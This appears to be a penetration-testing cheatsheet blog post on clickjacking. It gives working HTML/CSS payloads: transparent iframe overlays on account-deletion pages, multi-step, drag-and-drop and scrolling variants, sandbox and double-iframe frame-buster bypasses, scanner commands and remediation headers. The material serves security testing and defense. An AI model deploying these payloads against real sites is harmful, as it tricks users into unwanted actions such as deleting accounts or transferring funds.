← Back to writing
Tools & Cheatsheets

Clickjacking Testing

Mar 25, 2025
3 min read
lawbyte

Clickjacking tricks users into clicking on hidden or disguised interface elements. While often low severity alone, combined with sensitive actions (password change, funds transfer, account deletion) it becomes high impact.

Basic Test — Iframe Embedding

<!-- Basic PoC: can the target be framed? -->
<!DOCTYPE html>
<html>
<body>
<iframe src="https://target.com/dashboard" width="800" height="600"></iframe>
<p>If the target loads above, it's potentially vulnerable to clickjacking.</p>
</body>
</html>

Save as test.html, open in browser. If the target loads inside the iframe — no frame-busting protection is in place.


Checking Protections

X-Frame-Options Header

# Server response should include one of:
X-Frame-Options: DENY # never allow in frame
X-Frame-Options: SAMEORIGIN # only allow same origin
X-Frame-Options: ALLOW-FROM https://trusted.com # specific origin (deprecated)

# Check with curl
curl -I https://target.com | grep -i x-frame
curl -I https://target.com/login | grep -i x-frame

Content-Security-Policy frame-ancestors

# Preferred modern approach
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors 'self' https://trusted.com

# Check CSP
curl -I https://target.com | grep -i content-security-policy

JavaScript Frame-Busting (weak)

// Common frame-buster (bypassable)
if (top !== self) {
top.location = self.location;
}

// Bypass: sandbox iframe attribute blocks JS
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
// sandbox prevents frame-busting JS from running

Constructing a PoC

Overlay Attack

<!DOCTYPE html>
<html>
<head>
<style>
#victim {
position: relative;
opacity: 0.5; /* set to 0.0001 for real attack, 0.5 to show PoC */
z-index: 2;
}
#decoy {
position: absolute;
top: 250px; /* align with target button */
left: 150px;
z-index: 1;
background: red;
padding: 10px;
color: white;
cursor: pointer;
}
</style>
</head>
<body>
<div id="decoy">Click me to win a prize!</div>
<iframe id="victim"
src="https://target.com/delete-account"
width="800" height="600"
frameborder="0">
</iframe>
</body>
</html>

Adjusting Position

// Use browser DevTools to align overlay exactly over the sensitive button
// 1. Open target in a tab, use inspector to find button position
// 2. Adjust top/left CSS values until your decoy overlaps the real button
// When opacity = 0 (real attack), user sees decoy but clicks the invisible target button

Advanced Techniques

Multi-Step Clickjacking

<!-- Step 1: Click "Settings" -->
<!-- Step 2: Click "Delete Account" -->
<!-- Step 3: Click "Confirm" -->
<!-- Each click advances the user through the target's flow -->

<!DOCTYPE html>
<html>
<script>
let step = 0;
function nextStep() {
step++;
document.getElementById('iframe').src = [
'https://target.com/settings',
'https://target.com/settings/account',
'https://target.com/settings/account/delete'
][step] || '';
}
</script>
<body>
<button onclick="nextStep()">Click to continue step <span id="s">1</span></button>
<iframe id="iframe" src="https://target.com/settings"
style="opacity:0.5; position:absolute; top:300px; left:200px;"
width="800" height="600"></iframe>
</body>
</html>

Drag-and-Drop Jacking

<!-- Trick user into dragging text from one location to another
Useful when target uses drag-and-drop for sensitive actions -->
<html>
<body>
<div draggable="true"
ondragstart="event.dataTransfer.setData('text', 'malicious data')">
Drag this coupon to the box below!
</div>

<iframe src="https://target.com/drag-drop-action"
style="opacity:0.1; position:absolute; top:200px; left:100px;"
width="800" height="600">
</iframe>
</body>
</html>

Scrolling Attack

<!-- Get user to scroll to align iframe with a button -->
<!-- Useful when the target button is not at top of the page -->
<html>
<style>
body { height: 3000px; }
#frame {
position: fixed;
top: 300px;
left: 200px;
opacity: 0.01;
}
</style>
<body>
<h1>Scroll down to reveal your prize!</h1>
<!-- At scroll position X, the iframe target button aligns with decoy -->
<iframe id="frame" src="https://target.com/action"
width="800" height="600">
</iframe>
<div style="position:absolute; top:1500px;">
Click here to claim!
</div>
</body>
</html>

Bypass Techniques

sandbox Attribute (Frame-Buster Bypass)

<!-- Neutralizes frame-busting JavaScript without breaking form submissions -->
<iframe src="https://target.com"
sandbox="allow-forms allow-scripts allow-same-origin">
</iframe>

Double Iframe Trick

<!-- Outer iframe has allow-scripts, inner doesn't trigger buster -->
<iframe src="https://attacker.com/middle.html"></iframe>

<!-- middle.html -->
<iframe src="https://target.com"
sandbox="allow-forms allow-scripts">
</iframe>

High-Impact Scenarios

Password change:     User clicks "Save" on attacker-positioned iframe → changes password to attacker's
Email change: User "confirms" email change → ATO via password reset
2FA disable: User "clicks OK" on disable 2FA prompt
Fund transfer: User "confirms" payment → sends funds to attacker
Account linking: User "authorizes" OAuth app → attacker gains access
Social action: User "likes", "shares", or "follows" → social spam
Permissions grant: User "allows" camera/mic permissions in browser

Automated Testing

# Nikto includes clickjacking checks
nikto -h https://target.com

# Nuclei template
nuclei -u https://target.com -t http/misconfiguration/clickjacking.yaml

# Manual check with curl
curl -sI https://target.com/sensitive-action | grep -iE "x-frame-options|content-security-policy"

# ffuf to test multiple endpoints
ffuf -w endpoints.txt -u "https://target.com/FUZZ" \
-mr "x-frame-options|frame-ancestors" -of csv -o headers.csv

Severity Assessment

Low:     Static pages, no sensitive actions available in the frame
Medium: Settings changes, profile updates
High: Password/email change, fund transfer, account deletion
Critical: Admin actions, OAuth authorization endpoints

Remediation

# Primary: X-Frame-Options header
X-Frame-Options: DENY

# Better: CSP frame-ancestors (more flexible)
Content-Security-Policy: frame-ancestors 'none'

# Allow same origin only
Content-Security-Policy: frame-ancestors 'self'

# Additional: SameSite cookies (partial mitigation)
Set-Cookie: session=...; SameSite=Strict

# JavaScript: check if running in iframe and block (defense-in-depth only)
if (window.self !== window.top) {
document.body.innerHTML = 'Access denied in iframe';
}

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.